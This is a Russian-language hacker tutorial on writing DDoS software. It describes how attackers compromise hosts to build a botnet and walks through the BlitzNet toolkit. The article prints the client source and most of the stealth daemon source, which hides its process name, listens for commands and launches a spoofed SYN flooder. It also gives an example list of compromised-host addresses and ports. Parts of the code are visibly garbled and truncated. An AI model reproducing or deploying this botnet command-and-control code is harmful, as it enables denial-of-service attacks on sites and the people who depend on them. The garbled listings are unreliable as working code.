Пишем софт для DDoS
Автор: SuXSE 13.02.2017 14:44
:: Intro
DDoS атака (Distributed Denial of Service Attack) - это распределенная атака на отказ в обслуживании. От обычной DoS атаки отличается тем, что в процессе участвует не один компьютер, а множество компьютеров, подчиняющихся командам атакующего.
DDoS атаки относительно новы. Впервые Интернет-общество серьезно столкнулось с ними 7 февраля 2000 года. Тогда в течении недели на несколько часов были выведены из строя такие известные сайты, как Yahoo, Buy.com, eBay, Amazon, Datek, E*Trade и CNN.
Сейчас 2002 год, но DDoS атаки до сих пор практически невозможно отслеживать заранее и предотвращать, и вряд ли это станет возможным в ближайшем будущем.
:: Немного лирики
DDoS атаке предшествуют взломы сотен (а иногда и тысяч) компьютеров, на которые устанавливается специальный DDoS софт, позволяющий проводить координированные DoS атаки (обычно используются flood атаки) на сайты жертв.
В деталях это выглядит следующим образом: атакующий ищет слабо защищенный компьютер, вломиться в который не составляет проблемы. Затем на взломанную систему устанавливается софт, который будет скрывать следы взлома (например, скрывать процесс, запущенный атакующим, чтобы в дальнейшем контролировать данную систему). А потом осуществляется то, ради чего, собственно, система и была взломана: запускается процесс, ожидающий команды из Интернета начать атаку на определенную жертву. После этого адрес захваченного компьютера заносится в базу данных. Все эти шаги достаточно автоматизированы и повторяются до тех пор, пока количество "рабов" не достигнет необходимой атакующему отметки. В итоге получается DDoS сеть, т.е. имеются компьютеры с установленным на них DDoS софтом, а атакующий знает их адреса.
С наступлением часа X атакующий просто запускает программу, которая посылает команды начать атаку на определенную жертву всем захваченным компьютерам по адресам, хранящимся в специальном файле. Когда атакующий решает прекратить DDoS атаку, он опять же просто запускает программу, которая пошлет по тем же адресам команды прекратить безобразие.
:: c0dez
Рассмотрим DDoS софт на примере BlitzNet by phreeon, написанный частично на Си (если не знаешь Си, смотри "A quick introduction to C - learn programming in one day" Mixter'а), частично на TCL (можешь посмотреть статью Forb'а "Кодинг на TCL", Xakep #030).
BlitzNet (Blitz Network) написан для того, чтобы проводить spoofed syn flood атаку с множества разных компьютеров без логина на них. Дистрибутив включает в себя следующие файлы: blitz.c (клиент), blitzd.c (сервер), rush.tcl, уже скомпилированный spoofed syn flooder (slice2) и README. На взломанную систему помещаются 2 файла: blitzd и slice2. А у атакующего должны быть 4 файла: rush.tcl, shell.list, blitz и strobe (rush.tcl использует blitz для связи c компьютерами, адреса которых находятся в shell.list, а strobe нужен rush.tcl для проверки тех компьютеров). Файл shell.list должен иметь примерно такой вид:
192.9.49.33 31337
199.185.137.3 9999
216.200.201.193 6969
Первая часть строки - ip адрес компьютера, вторая - порт, на котором висит blitzd.
Клиентская часть BlitzNet устанавливает TCP соединение с указанным сервером (argv[1]) по указанному порту (argv[2]) и пересылает демону адрес для подмены адреса компьютера, проводящего атаку,
#include "sys" #include "netinet" // Для структуры sockaddr_in Далее, необходимые переменные: // Аналог дескриптора файла int sockfd; struct sockaddr_in address; На FreeBSD и, наверное, на всех других NIX системах, эта структура выглядит следующим образом: /* * Socket address, internet style. */ struct sockaddr_in { u_char sin_len; u_char sin_family; u_short sin_port; struct in_addr sin_addr; char sin_zero[8]; };
Интерес представляют поля sin_family (что-то типа области), sin_port (порт) и sin_addr (адрес хоста).
А потом, собственно, подключаемся к сокету на удаленном компьютере:
// Создать сокет sockfd = socket(AF_INET, SOCK_STREAM, 0); // Построить адрес удаленного компьютера bzero(&address, sizeof(saddress)); // Очистка структуры (не обязательно) address.sin_family = AF_INET; address.sin_addr.s_addr = inet_addr("host"); address.sin_port = htons(atoi("port")); // Подключиться connect(sockfd, (struct sockaddr *)&address, sizeof(address)); // Сделать что-то с сокетом write(sockfd, ...); read(sockfd, ...); // И отключиться после завершения close(sockfd);
На Перле написать это куда проще (может, я соберусь и напишу на нем аналог BlitzNet), но знание, как это делается на Си тебе не помешает.
А вот и Blitz клиент:
blitz.c #include "sys/types.h" #include "sys/socket.h" #include "stdio.h" #include "netinet/in.h" #include "arpa/inet.h" #include "unistd.h" int main(int argc, char *argv[]) { int i; int sockfd; int len; struct sockaddr_in address; int result; char cmd[128]; char ch; if (argc\n", argv[0]); exit(1); } sockfd = socket(AF_INET, SOCK_STREAM, 0); address.sin_family = AF_INET; address.sin_addr.s_addr = inet_addr(argv[1]); address.sin_port = htons(atoi(argv[2])); len = sizeof(address); result = connect(sockfd, (struct sockaddr *)&address, len); if(result == -1) { printf("%s->%s: connection refused!\n", argv[1], argv[4]); exit(1); } sprintf(cmd, "%s %s %s %s %s %s", argv[3], argv[4], argv[5], argv[6], argv[7], argv[8]); write(sockfd, cmd, sizeof(cmd)); read(sockfd, &ch, 1); if (ch == '.') { printf("%s->%s: successful!\n", argv[1], argv[4]); } if (ch == '!') { printf("%s->%s: failed!\n", argv[1], argv[4]); } if (ch != '.' && ch != '!') { printf("%s->%s: unknown!\n", argv[1], argv[4]); } close(sockfd); exit(0); }
Серверная часть Blitz Network сначала предпринимает некоторые шаги для маскировки, в частности, забивает все аргументы нулями, а себя маскирует под что-нибудь. Потом происходит непосредственно прием информации, передаваемой клиентом, и запуск slice2 с полученными от клиента аргументами.
Написать типичный TCP сервер не так уж и сложно. Сначала все те же библиотеки, почти те же переменные, так же создаем сокет:
... #include "sys/socket.h" #include "netinet/in.h" ... int server_sockfd, client_sockfd; struct sockaddr_in server_address; struct sockaddr_in client_address; ... // Создать сокет server_sockfd = socket(AF_INET, SOCK_STREAM, 0); // Заполнение структуры address несколько отличается: bzero(&server_address, sizeof(server_address)); server_address.sin_family = AF_INET; server_address.sin_port = htons(atoi("port"); server_address.sin_addr.s_addr = htonl(INADDR_ANY);
Разница в server_address.sin_addr.s_addr. Вместо адреса определенного хоста используется INADDR_ANY - специальный адрес, означающий "прослушивание на всех интерфейсах".
// Далее вместо connect() используем bind() bind(server_sockfd, (struct sockaddr *)&server_address, sizeof(server_address));
Потом процесс сервера создает дочерний процесс, который принимает подключения. Это удобно сделать так:
switch (fork()) { case -1: perror("fork"); return 3; break; default: close(server_sockfd); return 0; break; case 0: break; } // Теперь необходимо установить очередь для входящих сообщений listen(server_sockfd, 5);
Числовой аргумент функции listen() определяет количество не принятых функцией accept() подключений, которые будут поставлены в очередь.
// Потом в цикле происходит прием подключений for (;;) { b = sizeof(client_address); // b имеет тип int client_sockfd = accept(s, (struct sockaddr *)&client_address, &b); // Делаем что-нибудь read(client_sockfd, ...); write(client_sockfd, ...); // И отрубаем close(client_sockfd); }
Все!
Но blitzd написан каким-то странным способом, в котором я до конца не разобрался. То же самое можно было написать на том же Си куда проще, но я привожу исходник AS IS:
blitzd.c #include "sys/types.h" #include "sys/socket.h" #include "stdio.h" #include "netinet/in.h" #include "sys/time.h" #include "sys/ioctl.h" #include "unistd.h" #include "lists.h" int main(int argc, char *argv[]) { int x; char stealth[128]; char good, bad; time_t timeval; int server_sockfd, client_sockfd; int server_len, client_len; struct sockaddr_in server_address; struct sockaddr_in client_address; int result; fd_set readfds, testfds; good = '.'; bad = '!'; if (argc = 0; x--) { memset(argv[x], 0, strlen(argv[x])); } strcpy(argv[0], stealth); server_len = sizeof(server_address); bind(server_sockfd, (struct sockaddr *)&server_address, server_len); listen(server_sockfd, 5); FD_ZERO(&readfds); FD_SET(server_sockfd, &readfds); while(1) { char cmd[128], realcmd[512]; int fd; int nread; testfds = readfds; (void)time(&timeval); // printf("[%s] server waiting\n", string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2))); result = select(FD_SETSIZE, &testfds, (fd_set *)0, (fd_set *)0, (struct timeval *) 0); if(result /dev/null &\nsleep %s; kill `pidof slice2`;", lrange(cmd, 0, 4), lindex(cmd, -1)); write(fd, &good, 1); system(realcmd); } else { write(fd, &bad, 1); } } } } } } }
На этом все. Листинг rush.tcl я приводить не буду, т.к. особых познаний в TCL не имею, разберись с ним сам, если хочешь. И надеюсь, ты не будешь использовать полученные знания во имя зла >:-F~.
:: Использованная литература
Distributed Denial of Service Attacks by Bennett Todd
Perl: библиотека программиста -> Сокеты
FreeBSD Developers' Handbook -> Chapter 7 Sockets
Источник